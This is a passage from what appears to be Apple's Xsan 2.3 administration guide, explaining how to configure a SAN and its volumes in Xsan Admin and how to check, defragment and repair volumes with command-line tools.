143.Step 8: Configure the SAN You use Xsan Admin to configure the SAN. Configure the SAN: 1 Open Xsan Admin. You can open Xsan Admin after you finish installing the Xsan software on your primary metadata controller computer. You can also open Xsan Admin on any computer with Mac OS X Lion Server and an intranet or Internet connection to your SAN computers. (You can use Xsan Admin on a computer that isn’t connected to the SAN’s private metadata network or its Fibre Channel network.) 2 In the Introduction pane, click Continue. 3 In the Initial SAN Setup pane, select “Configure new SAN.” For information about connecting to an existing SAN, see “Manage multiple SANs” on page 69. 4 In the SAN Settings pane, enter a name for the SAN and then enter the SAN administrator’s name and email address. 5 In the Add Computers pane, make sure all the computers that you want to include in the SAN are selected. If a computer you want to include isn’t listed, make sure Xsan is enabled in that computer’s Xsan preferences (or you’ve installed Xsan, if the computer has Mac OS X or Mac OS X Server v10.6). Check that the computer is connected to both Ethernet networks—the public intranet and the private metadata network—and check the network settings in the computer’s Network preferences. You can also click Add Remote Computer to add computers manually. 64 Chapter 4 Set up a SANChapter 4 Set up a SAN 65 6 In the Authenticate SAN Computers pane, choose how you’ll provide authentication information for the SAN computers: Use same authentication information for all SAN computers: Select this option to have Xsan Admin authenticate to all computers using the administrator name and password you enter in this pane. Authenticate to SAN computers one by one: Select this option to authenticate to each computer individually. 7 If the Serial Numbers pane appears, enter your Xsan serial numbers for client computer with Mac OS X or Mac OS X Server v10.6. You can click Add Serial Number and enter a number, or drag a text file containing serial numbers to the list. 8 In the Choose Metadata Controllers pane, select your primary and standby controllers and deselect client computers that appear in the list. 9 If the Private Metadata Network pane appears, you can choose to have Xsan Admin manage the private metadata network addresses for all SAN computers. 10 If the SAN Network pane appears, choose your private metadata network from the Metadata Network pop-up menu. The SAN Network pane doesn’t appear if, in the previous step, you chose to have Xsan Admin manage the private metadata network addresses. 11 Review the Summary pane, and if all settings are correct, click Continue. To change a setting, click Go Back until you reach the pane where you can correct the setting. Then click Continue until you return to the Summary pane. Step 9: Create a volume When the Xsan setup assistant finishes basic SAN configuration, it asks if you want to create a volume.Create a volume: 1 In the “Create Volume” pane, select “Create a volume now” and click Continue. If you want to create volumes later, follow the instructions in “Add a volume to a SAN” on page 73. 2 In the “Volume Name and Type” pane, enter a name for the volume and choose a volume type that matches the type of work the volume will support. For the volume name, use only uppercase letters (A–Z), lowercase letters (a–z), numbers (0–9), and underscores ( _ ). Don’t include spaces or hyphens. The maximum length is 70 characters. The volume type you choose determines how the setup assistant configures affinity tags and storage pools on the volume. For information, see “How Xsan storage is organized” on page 34. 3 Optionally, click Advanced Settings and adjust the following volume settings: Block Allocation Size: If you’re not sure what value to use, use the preset size or see “Set the block allocation size” on page 80. Allocation Strategy: Choose how storage for files is allocated among the storage pools that belong to the volume. If you choose Round Robin, each request for space is assigned to the next available storage pool in turn. If you choose Fill, space is allocated on the first storage pool until it’s full, then on the second storage pool, and so on. If you choose Balance, space is allocated on the storage pool with the most free space. For more information, see “Choose an allocation strategy” on page 51. Spotlight: Enable this if you want Macintosh clients to search the contents of the volume using Spotlight. Native Extended Attributes: Select this option if all computers on your Xsan 2.3 SAN are Macs (which must have Xsan 2.2.1 or 2.3 to be on the SAN), and you want to ensure the best possible performance by storing related information for each file inside the file itself instead of in separate hidden files. You can’t deselect this option for a volume that was created with the option selected. Access Control Lists: Leave this selected if you want to use access control lists (ACLs) to control access to files and folders on the volume. Case Insensitivity: Select this if all the computers on your SAN have Mac OS X Lion, and you want this volume to ignore capitalization in filenames. For example, myfile, MyFile, and MYFILE are all the same filename if this option is turned on. This option is on by default if the SAN consists only of Macs with Lion. Windows ID Mapping: If you have Windows clients on your SAN, choose how they map user and group information to the Xsan-compatible user IDs (UIDs) and group IDs (GIDs), which they need so they can access Xsan volumes. For more information, see “Map Windows user and group IDs” on page 100. 66 Chapter 4 Set up a SANChapter 4 Set up a SAN 67 4 In the Configure Volume Affinities pane (or the Configure Volume Storage pane, if you’re configuring a custom volume type), drag LUNs from the left column to the corresponding affinity tag (or custom storage pool) in the right column. a Drag the special metadata LUN you created (in Step 6, “Create a Metadata Array”) to the MetadataAndJournal affinity tag (or custom storage pool). b Drag your other LUNs to the other affinity tags (or storage pools). To avoid wasting storage, all LUNs assigned to an affinity tag (or storage pool) should be the same size. c When you finish, click Continue. For information about the optimal number of LUNs to assign to an affinity tag, see “Assign LUNs to affinity tags” on page 48. 5 Optionally, you can select an affinity tag and click Settings to change the affinity tag name or other settings listed below. If you’re creating a custom volume, you can select it and click Storage Pool Settings to change the storage pool name or other settings listed below. Affinity Tag (or Storage Pool Name): Enter the name for the affinity tag (or custom storage pool). If the OK button is disabled when you finish entering the name, the name is reserved; try another. For more information about reserved names, see “If you can’t add a storage pool” on page 124. Use for: Choose the types of data that can be stored on storage pools that have this affinity tag (or that can be stored on the custom storage pool), following these rules: The first affinity in a volume can allow metadata only, journaling and metadata, or any data (which includes metadata, journaling, and user data). Thus the first affinity must always allow metadata. Other affinities can allow any data, only journaling and metadata, only journaling, only metadata, or only user data. Only one affinity can allow journaling. You can’t change the type of data an affinity stores without recreating the volume. If you allow user data only, you can specify whether to allow only data that has the matching affinity. If the data must have the matching affinity, the tag is called “exclusive,” and data without the affinity isn’t allowed. You can change this setting as needed. However, a volume must contain at least one affinity tag that isn’t exclusive. In other words, the volume must contain at least one affinity tag that accepts user data without an affinity. Stripe Breadth: Specify how much data is written to or read from each LUN in storage pools that have this affinity tag (or each LUN in the custom storage pool) before moving to the next LUN. This value can affect performance. If you’re not sure what value to use, accept the preset value.6 If the Volume Failover Priority pane appears, arrange the list so as few SAN volumes as possible have the same metadata controller first on their failover priority lists, and then click Continue. 7 In the Setup Complete pane, click Continue. Xsan Admin displays a summary of your SAN configuration and the new volume is mounted and ready to use in the Finder on all clients and metadata controllers. For information about creating additional volumes, see “Add a volume to a SAN” on page 73. Step 10: (Optional) Set up SAN status notifications Xsan is initially set to notify the administrator by email when the status of the SAN changes. You can have notifications sent to additional email addresses or textmessaging addresses using an SMTP server, and you can choose conditions that trigger notification to each address. If you don’t want to customize notifications now, you can do it later. For instructions, see “Set up status notifications” on page 119. Step 11: (Optional) Assign folders to affinity tags If you want to force files to be stored in specific storage pools, assign the affinity tag of the pools to a folder. Then, files that users put in the folder are stored only on storage pools that have that affinity tag. For instructions, see “Set up a folder affinity”on page 77. Step 12: (Optional) Set user and group quotas You can set up quotas to control how much space on each SAN volume is used by each user or group. For instructions, see “Set SAN user and group quotas” on page 100. Use an Xsan administrator computer The Xsan Admin app is installed with Mac OS X Lion Server, and you can use Xsan Admin on any computer that has Lion Server to administer an Xsan 2.3 SAN remotely. The administrator computer must be able to connect to all SAN computers via your public intranet or the Internet. The administrator computer doesn’t need to be connected to the SAN’s private metadata network or the SAN’s Fibre Channel network. For information about using Xsan Admin to manage a SAN remotely, see “Manage multiple SANs” on page 69. 68 Chapter 4 Set up a SANChapter 4 Set up a SAN 69 Rename a SAN The SAN name appears in the Overview pane of Xsan Admin. The SAN name is initially set when the SAN is set up. You can change this name using Xsan Admin. Change the name of a SAN: 1 Open Xsan Admin and click Overview. 2 Choose Edit SAN Properties from the Action pop-up menu (gear). 3 Type a name in the SAN Name field and click OK. Set up another SAN You can use Xsan Admin to set up more than one SAN. Add a new SAN: 1 Install the hardware, connect the Ethernet and Fibre Channel networks, set up the client computers, set up standby metadata controllers if you have them, set up the RAID systems, create a metadata array, and set up the primary metadata controller as instructed earlier in this chapter. If you’re setting up a SAN for the first time, see the planning guidelines in Chapter 3,“Plan a SAN,” on page 40 and the instructions at the beginning of this chapter. 2 Open Xsan Admin on the computer that you want to use to set up and manage the new SAN. 3 Choose File > New and follow the instructions in “Step 8: Configure the SAN”on page 64. Manage multiple SANs You can use Xsan Admin to manage more than one Xsan 2 SAN. The computer with Xsan Admin doesn’t need to be connected to the SAN’s private metadata network or its Fibre Channel network, but it must be able to connect to the SAN computers via your public intranet or the Internet. Manage another SAN: 1 Open Xsan Admin and choose File > New. 2 Click Continue in the Introduction pane. 3 Select “Connect to existing SAN,” click Continue, and follow the onscreen instructions.Destroy a SAN Follow these steps to take a SAN out of service and remove its metadata controllers, clients, and volumes. WARNING: Removing a SAN destroys its volumes. Data stored on the volumes is no longer available. Destroying a SAN also removes all Xsan configuration files from all SAN computers. If Xsan Admin is managing users and groups, or the metadata controllers were configured to get user and group accounts from an existing directory server, destroying a SAN destroys any Open Directory replicas on standby metadata controllers and disconnects SAN clients from the directory server. Destroy a SAN: 1 If you want files located on the SAN volumes to be available after you remove the SAN, back up the files. 2 Open Xsan Admin and click Overview. 3 Choose Destroy SAN from the Action pop-up menu (gear). 70 Chapter 4 Set up a SAN71 Use Xsan Admin and related command-line tools to expand, add, modify, check, and repair SAN volumes. This chapter shows how you can expand an existing Xsan volume to provide more free space. It also contains information about volume and storage pool settings, and shows how to check and resolve volume integrity and fragmentation problems. Add storage To increase the storage on your SAN, you can:  Add volumes  Add storage pools to existing volumes  Add LUNs to affinity tags If you add a volume based on a custom volume type, you work directly with storage pools. However, if you add a volume using a built-in Xsan volume type (for example, General File Server or Podcast Producer Cluster), you don’t deal directly with storage pools. Instead, you work with affinity tags that represent storage pools. Xsan Admin organizes available LUNs into storage pools for you, based on the performance requirements of the chosen volume type. Adding a storage pool to a volume increases available storage and also requires Xsan Admin to stop the volume and unmount it. Adding storage pools is a quick way to expand a volume and doesn’t require defragmenting the volume to recover performance. Important: If you add LUNs to an affinity tag, add LUNs only in the recommended multiples. Keep surplus LUNs as extras until you have enough to add them in the recommended multiples for the volume type. Adding LUNs other than in the recommended multiples can result in serious fragmentation. 5 Manage SAN storageIf you're using a custom volume type, you can increase storage by adding volumes or storage pools, but don't add LUNs to an existing storage pool. Adding LUNs to an existing storage pool in a custom volume can result in serious fragmentation. Prepare LUNs Each LUN in an Xsan volume is a RAID array. How you set up your arrays depends on the storage device you use. To create a set of LUNs for your SAN, use the administration software for your RAID system to create, for example, LUNs based on different RAID schemes or LUNs based on array stripes. Setup scripts for creating common LUN configurations on Promise RAID systems are available at www.apple.com/support/. Find the drive modules that belong to a LUN To see which physical drive modules belong to a LUN, you can use Xsan Admin to turn on the drive activity lights on the RAID system that hosts the LUN. Click to turn on drive lights for selected LUN. Find a LUN’s drives: m In Xsan Admin, select LUNs in the SAN Assets list, select a LUN in the list of LUNs, and then click the “Identify LUN Using RAID Lights” button in the lower-right corner of the window. Then, look at your RAID hardware to find the drives with activity lights that are on. 72 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 73 Add a volume to a SAN A single Xsan SAN can provide access to multiple volumes. Click to add a new volume. Select to view current volumes. Add a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list and click the Add Volume button (+). 2 In the Volume Name and Type pane of the assistant, enter a name for the volume and choose a volume type that matches the kind of work the volume will support. Xsan Admin sets the underlying volume settings accordingly. If you expect the volume to be used by client computers with Quantum’s StorNext File System (Windows, AIX, IRIX, Linux, and Solaris computers), click Advanced Settings, and then turn off the Native Extended Attributes option. Leave this option turned on if all computers on your SAN are Macs. WARNING: To avoid data loss, clients with Quantum’s StorNext File System must not access volumes that use extended attributes.3 In the Configure Volume Affinities pane (Configure Volume Storage, if you chose the custom volume type), drag LUNs to affinity tags (or storage pools). 4 In the Volume Failover Priority pane, drag the controller that you want to host the volume whenever possible to the top of the list, and arrange the other controllers in descending order of preference. For information about advanced settings, see “Change advanced volume settings” on page 79 or “Change storage pool settings” on page 83. When you finish, the volume mounts on all SAN clients. Add a storage pool to a volume You can add free space to a SAN volume by adding a storage pool to the volume. If you’re expanding a volume that’s based on a built-in volume type, you can create a new affinity tag and add LUNs to it. Xsan Admin creates and organizes storage pools within that tag for you. If you add LUNs to an existing affinity tag, Xsan Admin creates storage pools for you. If an existing storage pool has fewer LUNs than recommended for the affinity tag, Xsan Admin fills that storage pool before creating a new one. If you’re expanding a custom volume, you create storage pools directly and add LUNs directly to them. Note: A volume can’t contain more than 512 storage pools. Add a storage pool: 1 If necessary, connect the RAID systems that host the storage pool’s LUNs to the SAN Fibre Channel network and turn on the device. 2 In Xsan Admin, select Volumes in the SAN Assets list. 3 Select the volume in the list and choose Expand Volume from the Action pop-up menu (gear). 4 In the Label LUNs pane of the assistant, choose whether to label unlabeled LUNs individually or sequentially based on a label prefix. If you label LUNs individually, click Edit LUN Label on the next pane and enter a new label. If you use a label prefix, Xsan Admin adds a number to the end of the prefix to create a label for each LUN. For example, if you use the prefix “LUN,” your LUNs are labeled “LUN1,” “LUN2,” and so forth. Already-labeled LUNs aren’t affected. 74 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 75 5 In the Configure Volume Storage pane, click New Affinity Tag (or New Pool) to add an affinity tag (or storage pool), and then drag LUNs to the new tag (or pool). Important: Add LUNs to a new affinity tag in the recommended multiples. Otherwise, serious volume fragmentation can result. 6 Click Continue to unmount and stop the volume, add the new storage, and remount the expanded volume. From the command line You can also add a storage pool by editing the associated volume configuration file in Terminal. For information, see the cvfs_config man page or “Xsan configuration files” on page 158. You can see the cvfs_config man page by entering this command in Terminal: $ man -M /System/Library/Filesystems/acfs.fs/Contents/man/ 4 cvfs_config Add LUNs to an affinity tag You can increase the size of a SAN volume that’s based on a built-in volume type by adding LUNs (RAID arrays or array slices) to affinity tags. Xsan Admin assigns those LUNs to underlying storage pools for you, creating storage pools as needed, based on the optimal number of LUNs per pool for the volume type (“Assign LUNs to affinity tags” on page 48). Note: A storage pool can’t contain more than 32 LUNs, the total number of LUNs in a volume can’t be greater than 512, and you can’t add LUNs to a storage pool that contains only journal data or metadata.Choose compatible LUNs LUNs you add to an existing storage pool must be at least as large as the LUNs in the pool, but if a new LUN is larger than the other LUNs in the pool, its extra capacity can’t be used. Always try to add LUNs that are identical or similar in performance and capacity to the LUNs already in the storage pool. Mixing LUNs of different sizes or speeds in the same storage pool wastes capacity and can degrade performance. Action menu Add a LUN to an affinity tag: 1 If you haven’t done so, connect the RAID system that hosts the LUN to the SAN Fibre Channel network and turn on the device. 2 In Xsan Admin, select Volumes in the SAN Assets list. 3 Select the volume in the list and choose Expand Volume from the Action pop-up menu (gear). 4 In the Label LUNs pane of the assistant, choose whether you want to label unlabeled LUNs individually, or sequentially based on a label prefix. If you label LUNs individually, click Edit LUN Label on the next pane and enter a new label. If you use a label prefix, Xsan Admin adds a number to the end of the prefix to create a label for each LUN. For example, if you use the prefix “LUN,” your LUNs are labeled “LUN1,” “LUN2,” and so forth. Already-labeled LUNs aren’t affected. If your LUNs are already labeled, they aren’t changed. 76 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 77 5 In the Configure Volume Storage pane, drag the new LUNs to affinity tags. Important: Add LUNs to affinity tags in the recommended multiples. Don’t add LUNs to existing storage pools in a custom volume. Otherwise, serious volume fragmentation can result. 6 Click Continue to unmount and stop the volume, add the storage, and remount the expanded volume. From the command line You can also add LUNs to an affinity tag by editing the associated volume configuration file and using the cvlabel command-line tool in Terminal. For information, see the cvfs_config and cvlabel man pages or “Xsan configuration files” on page 158 and “Label, list, and unlabel LUNs (cvlabel)” on page 151. You can see the cvfs_config man page by entering this command in Terminal: $ man -M /System/Library/Filesystems/acfs.fs/Contents/man/ 4 cvfs_config Rearrange Fibre Channel connections If you need to rearrange Fibre Channel connections when adding LUNs to your SAN, unmount SAN volumes from clients before you disconnect Fibre Channel cables or turn off Fibre Channel switches. Otherwise, if you unplug or interrupt a Fibre Channel connection between a client and a mounted volume, you might cause problems with client apps, making the volume difficult to remount. Set up a folder affinity Every storage pool in a volume has an affinity tag. You can use the tag to be sure that files in a folder are stored on a specific storage pool. Files in folders without affinities are stored on the next available storage pool according to the volume’s allocation strategy (fill, round-robin, or balance). For more information, see “Affinities and affinity tags” on page 35 and “Folders with affinities” on page 36. Some storage pools might be larger, faster, or better protected than others. Using affinities, you can make sure that an app or task that needs speed or extra protection stores its files on a suitable storage pool.Using Xsan Admin, you can choose an affinity for an existing folder or create a folder with an affinity. Action pop-up menu Assign an affinity tag to a folder: 1 In Xsan Admin, select File Management in the SAN Assets list. 2 Select the folder in the columns that list the volume’s contents, choose Set Affinity from the Action pop-up menu (gear), and choose an affinity tag. If the folder doesn’t exist, choose New Folder from the Action pop-up menu (gear), enter a folder name, and then choose an affinity tag. From the command line You can also create a folder and assign it an affinity using the cvmkdir command-line tool in Terminal. For information, see the cvmkdir man page. Change a folder’s affinity You can use Xsan Admin to change a folder’s affinity so all new files placed in the folder are stored on a new storage pool. Change a folder affinity: 1 In Xsan Admin, select File Management in the SAN Assets list. 2 Select the folder, choose Set Affinity from the Action pop-up menu (gear), and then choose the new affinity tag. 3 Click OK. 78 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 79 Files in the folder aren’t moved to the new storage pool. To move the files that were in the folder to a storage pool with the new affinity tag, use the snfsdefrag commandline tool in Terminal. For information and an example, see the snfsdefrag man page. Remove an affinity You can undo a folder’s affinity for a storage pool by choosing None for the folder affinity. Remove the affinity from a folder: 1 In Xsan Admin, select File Management in the SAN Assets list. 2 Select the folder, choose Set Affinity from the Action pop-up menu (gear), and then choose None for the affinity. Change advanced volume settings If your SAN volume has special configuration requirements, you can change the standard volume settings when you create a volume. You can also change these settings for an existing volume, except for the block allocation size and disabling the extended attributes option. (Once enabled, extended attributes can’t be disabled.) Note: To change a volume’s block allocation size or disable extended attributes, you must destroy and recreate the volume.View or change volume settings: m Select Volume in the SAN Assets list, select the volume in the list, and choose Edit Volume Settings from the Action pop-up menu (gear). The following sections contain information about each setting. Set the block allocation size Xsan uses the volume block allocation size with the storage pool stripe breadth to decide how to write data to a volume. If you create a volume based on a built-in volume type (for example, General File Server or Podcast Producer Cluster), Xsan Admin sets optimal values for you. For most volumes, the preset block allocation size and storage pool stripe breadth result in good performance. However, in some cases you might be able to improve read or write performance by adjusting these settings to suit a specific app. For example, if your app reads and writes small blocks of data, you might improve performance by choosing a correspondingly small block allocation size. Set a volume’s block allocation size: m The block allocation size must be set when the volume is created, and can’t be changed for an existing volume. To set the block allocation size, click the Advanced Settings button on the Volume Name and Type pane when you first add the volume. Change the volume allocation strategy You can change the allocation strategy for a volume, to choose how storage for new files or additional storage for existing files is allocated on the storage pools that belong to the volume. Change the allocation strategy: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume in the list and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Choose an allocation strategy from the pop-up menu: Round Robin: Each request for space is assigned to the next available storage pool in the volume. Fill: All data is stored on the first storage pool until it’s full, then on the next storage pool, and so on. Balance: New data is written to the storage pool that has the most free space. 4 Click OK. Note: After you click OK, the volume restarts. 80 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 81 Enable or disable Spotlight on a volume You can use Xsan Admin to control whether a volume is indexed and searchable using Spotlight. Enable or disable Spotlight on a volume: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Select or deselect the checkbox next to Spotlight and click OK. Note: After you click OK, the volume restarts. Enable extended attributes If extended attributes were disabled on a SAN volume when it was created, and all computers that use the volume are Macs, you can enable extended attributes for the files on the volume. When extended attributes are enabled, attributes associated with a file are stored inside the file itself, rather than in separate hidden files. Enabling extended attributes improves file system performance. Extended attributes are enabled when you create a volume with Xsan 2.3, unless you deliberately disable them. Important: You can’t disable extended attributes. Enabling them on a volume is a oneway process that can’t be undone. WARNING: To avoid data loss, clients with Quantum’s StorNext File System (Windows, AIX, IRIX, Linux, and Solaris computers) must not access volumes that use extended attributes. Macs clients of an Xsan 2.3 SAN must have Xsan 2.2 or later, which supports extended attributes. Enable extended attributes: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Select the checkbox next to Extended Attributes and click OK. Note: After you click OK, the volume is unmounted from all SAN computers, and then remounted. The time needed to convert the volume to use extended attributes depends on the size of the volume and the number of files stored on it.Enable or disable access control lists You can use Xsan Admin to specify whether the Xsan file system uses access control lists (ACLs) on a volume. Xsan 2 clients and Windows StorNext clients recognize ACLs. UNIX clients ignore ACLs on Xsan volumes. If you have a mix of Windows clients and Xsan clients, they must all be bound to the same directory domain, whether provided by Open Directory configured as a primary domain controller (PDC) or by Windows Active Directory. Note: If you enable ACLs but your SAN includes clients that don’t support them, don’t use those clients to change file or folder ownership information, or inconsistencies might result. Enable or disable ACLs: 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Select or deselect the checkbox next to Access Control Lists and click OK. Note: After you click OK, the volume is unmounted from all SAN computers, and then remounted. Change filename case sensitivity If all the computers on your SAN have Mac OS X Lion or Lion Server, you can specify whether a volume ignores capitalization in filenames. For example, a volume can consider myfile, MyFile, and MYFILE to be the same or different filenames. This option is on by default if the SAN consists only of Macs with Lion. For best performance with volumes that you share using the SMB protocol, make them case insensitive. Change filename case sensitivity for a volume 1 In Xsan Admin, select Volumes in the SAN Assets list. 2 Select the volume and choose Edit Volume Settings from the Action pop-up menu (gear). 3 Select or deselect the checkbox next to Case Insensitivity and click OK. When you change case sensitivity, Xsan checks all existing filenames to make sure the change won’t result in filenames being considered the same. This check can take a while. If Case Insensitivity is selected, the volume considers filenames to be the same if they’re spelled alike but capitalized differently. If Case Insensitivity is not selected, the volume considers filenames to be different if they’re spelled alike but capitalized differently. Note: After you click OK, the volume is unmounted from all Xsan computers, and then remounted.. 82 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 83 Change the Windows ID mapping If you have Windows clients on your SAN, the Windows ID Mapping setting determines how they map user and group information to the Xsan-compatible user IDs and group IDs they need in order to access this volume. For more information, see “Map Windows user and group IDs” on page 100. Change advanced allocation and cache settings Volume settings that control the allocation of space for growing files and the caching of file-related data structures are set by Xsan Admin to suit the type of volume you set up. If necessary, you can use Xsan Admin to adjust these advanced allocation and caching settings for a volume. Important: Do not adjust these settings unless you understand their role in volume performance or you are directed to change them by Apple support personnel. Change advanced volume settings: m In Xsan Admin, select Volumes in the SAN Assets list, select the volume, choose Edit Volume Settings from the Action pop-up menu (gear), and then specify: File Expansion Min: The number of storage blocks added to the file for the first expansion request. File Expansion Increment: The number of storage blocks by which the expansion request is increased for each subsequent request. File Expansion Max: The maximum expansion request that’s allowed. Inode Cache Size: The maximum number of inode data structures that can be cached on the volume by the metadata controller. Buffer Cache Size: The amount of memory that the metadata controller can allocate for storing a volume’s metadata. Note: Changing advanced volume settings causes the volume to restart. Change storage pool settings The SAN Setup assistant chooses storage pool settings based on the type of volume you use them on. To specify storage pool settings yourself, choose an affinity tag or storage pool in the Configure Volume Affinities pane of the SAN Setup assistant when you create a volume, or when you add a storage pool to a volume, and click the Settings button below the list. The best way to set up a SAN is to plan its organization carefully before you set it up, including settings for the storage pools that make up its volumes. To change storage pool settings for an existing volume, you must destroy and recreate the volume.Change the exclusivity of an affinity tag The “Use for” affinity tag setting specifies the type of data—metadata, journaling, or user data—a storage pool with that affinity can store. You choose the type of data when you create a volume, and you can’t change the type of data an affinity stores without recreating the volume. If an affinity allows user data only, you can specify whether to allow only data that has the matching affinity. If the data must have the matching affinity, the tag is called “exclusive,” and data without the affinity isn’t allowed. You can change this setting as needed. Change the exclusivity of an affinity tag: 1 In Xsan Admin, select the storage pool in the Volumes pane and choose Edit Affinity Settings from the Action pop-up menu (gear). 2 Click the checkbox to select or deselect “Only data with affinity.” If the checkbox is deselected, this is the last affinity tag in the volume that isn’t exclusive. A volume must contain at least one affinity tag that isn’t exclusive. In other words, the volume must contain at least one affinity tag that accepts user data without an affinity. Set the storage pool stripe breadth Xsan uses both the storage pool stripe breadth and the volume block allocation size to decide how to write data to a volume. For most SANs, the default values for storage pool stripe breadth and volume block allocation size result in good performance. However, in some cases you might be able to improve read and write performance by adjusting these values to suit a specific application. The stripe breadth must be set when the volume is created; it can’t be changed for an existing volume. Set a storage pool’s stripe breadth: m When you create the volume, click the Settings button below the Affinity Tag list in the Configure Volume Affinities pane of the setup assistant. Maintain SAN volumes Here are several volume maintenance tasks you can perform:  Rename a volume  See whether files or free space have become fragmented, and fix fragmentation.  If users have trouble accessing files, check the integrity of the volume, its metadata, and its files, and make necessary repairs  Destroy a volume so you can use its LUNs in a different volume 84 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 85 Rename a volume You can use Xsan Admin to change the name of a volume. You can’t rename an Xsan volume using the Finder. Important: During renaming, the volume is unmounted and restarted, and therefore unavailable to clients. Rename a volume: m In Xsan Admin, select Volumes in the SAN Assets list, select the volume, and then choose Rename Volume from the Action pop-up menu (gear). Check volume fragmentation When you create a file, Xsan divides the file into pieces and distributes these pieces efficiently over the LUNs that make up one of the volume’s storage pools. Over time, as the file is modified, its pieces become fragmented in less efficient arrangements. You can use the snsfdefrag command-line tool to check the amount of file fragmentation, or use the cvfsck command-line tool to check the amount of free space fragmentation. Check volume fragmentation: 1 Open Terminal (in the /Applications/Utilities/ folder) on any SAN computer. If you aren’t working at a SAN computer, use SSH to log in to a SAN computer remotely: $ ssh user@computer Replace user with the name of an administrator user on the SAN computer and computer with the SAN computer’s name or IP address. If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the SAN computer to make sure Remote Login service is turned on. 2 To check file fragmentation on a volume, run the snsfdefrag command-line tool with the -cr options: $ sudo snfsdefrag -cr volume 3 To check free space fragmentation on a volume, you must use Terminal on a metadata controller or use SSH to log in to a controller remotely, and run the cvfsck commandline tool with the -f option: $ sudo cvfsck -f volume For more information, see the cvfsck or snsfdefrag man page. Defragment a volume Defragmenting a file reassembles its pieces into the most efficient arrangement. You can use the snfsdefrag command-line tool to defragment a file, a folder, or an entire volume.Defragment a file, folder, or volume: 1 Open Terminal (in the /Applications/Utilities/ folder) on any SAN computer. If you aren’t working at a SAN computer, use SSH to log in to a SAN computer remotely: $ ssh user@computer Replace user with the name of an administrator user on the SAN computer and computer with the SAN computer’s name or IP address. If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the SAN computer to make sure Remote Login service is turned on. 2 Run the snfsdefrag command-line tool. To defragment individual files: $ sudo snfsdefrag -v filename [filename ... ] To defragment a folder: $ sudo snfsdefrag -vr folder To defragment a volume, set folder to the volume name. For more information, see the snfsdefrag man page or “Defragment a file, folder, or volume (snfsdefrag)” on page 154. Check the integrity of a volume If SAN users have trouble accessing files, use the cvfsck command-line tool to check the integrity of a volume, its metadata, and its files. Check a volume: 1 Open Terminal (in the /Applications/Utilities/ folder). 2 If you aren’t working at the SAN controller computer, use SSH to log in to the controller remotely: $ ssh user@computer Replace user with the name of an administrator user on the controller computer and computer with the controller’s name or IP address. If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the controller to make sure Remote Login service is turned on. 3 Run the cvfsck command-line tool (in /System/Library/Filesystems/acfs.fs/Contents/ bin/) to check the volume without making repairs: $ sudo cvfsck -vn volume You’ll see a warning that the journal is active; this is normal. For more information, see the cvfsck man page. 86 Chapter 5 Manage SAN storageChapter 5 Manage SAN storage 87 Repair a volume If the cvfsck tool reveals problems with a volume, you can use the cvfsck commandline tool to repair the volume. Repair a volume: 1 Stop the volume. Open Xsan Admin, select the volume, and click Stop Volume in the Action pop-up menu (gear). The volume will be unmounted on all SAN computers. 2 Open Terminal (in the /Applications/Utilities/ folder). If you aren’t working at the SAN controller computer, use SSH to log in to the controller remotely: $ ssh user@computer Replace user with the name of an administrator user on the controller computer and computer with the controller’s name or IP address. If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the controller to make sure Remote Login service is turned on. 3 Run the cvfsck command-line tool (in /System/Library/Filesystems/acfs.fs/Contents/ bin/) to replay the events that are recorded in the file system journal: $ sudo cvfsck -j volume 4 Check the volume to see if repairs are required: $ sudo cvfsck -vn volume 5 If the report generated in the previous step lists problems, enter the following command to perform a full check and repair of the volume: $ sudo cvfsck -vw volume 6 Start the volume, and then remount it on SAN computers. In Xsan admin, select the volume, and click Start Volume in the Action pop-up menu. For additional instructions, see “Mount a volume on a client” on page 92. For more information, see the cvfsck man page.Check RAID devices If a RAID array that belongs to an Xsan volume becomes damaged and unrecoverable due to a failed disk drive or other hardware failure, the data on the volume can be lost. To avoid this possibility:  Regularly check the state of your RAID hardware, either by using the management app that came with the RAID system or by visiting the hardware to check the state of the status lights. You might be able to set up your RAID system management app to notify you when an array is degraded.  If an array becomes degraded, replace the failed drive immediately to avoid the possibility of an additional drive failure causing the loss of the entire array. To have this happen automatically, set up your arrays with hot spare drives. Destroy a volume You can destroy a volume so you can reuse its LUNs to create new volumes. WARNING: After destroying a volume, data stored on it is no longer available. Destroy a volume: m In Xsan Admin, select Volumes in the SAN Assets list, select the volume in the list, and choose Destroy Volume from the Action pop-up menu (gear). 88 Chapter 5 Manage SAN storage89 You can use Xsan Admin and related command-line tools to add, control, and remove client computers and their users. Xsan clients are computers that have Fibre Channel connections to a SAN. SAN users log in to client computers to access files stored on SAN volumes. This chapter shows you how to add clients, control client access to volumes, and manage user quotas. Add a client Before a computer can use a SAN volume, you must add the computer to the SAN as a client. These instructions show you how to add a client computer to a SAN. Add button Select to view computers already in SAN. 6 Manage clients and usersAdd a client computer to a SAN: 1 Connect the client to the SAN’s Fibre Channel and Ethernet networks. 2 On a client that has Mac OS X Lion or Mac OS X Lion Server, open System Preferences, click Xsan, and then click Enable Xsan. The client can now use Xsan volumes. 3 On a client with Mac OS X or Mac OS X Server v10.6 Snow Leopard, install the Xsan software, and then use Software Update to get the latest Xsan 2.2 update. 4 Open Xsan Admin, select Computers in the SAN Assets list, and then click the Add button (+). 5 In the Add Computers pane of the assistant, make sure there’s a check next to the new client in the list, and then click Continue. If the client isn’t in the list, click Add Remote Computer and add it. 6 In the Authenticate Clients pane, enter the administrator name and password for the client and click Continue. 7 If you’re adding a client with Mac OS X or Mac OS X Server v10.6, and serial numbers aren’t available, the Serial Numbers 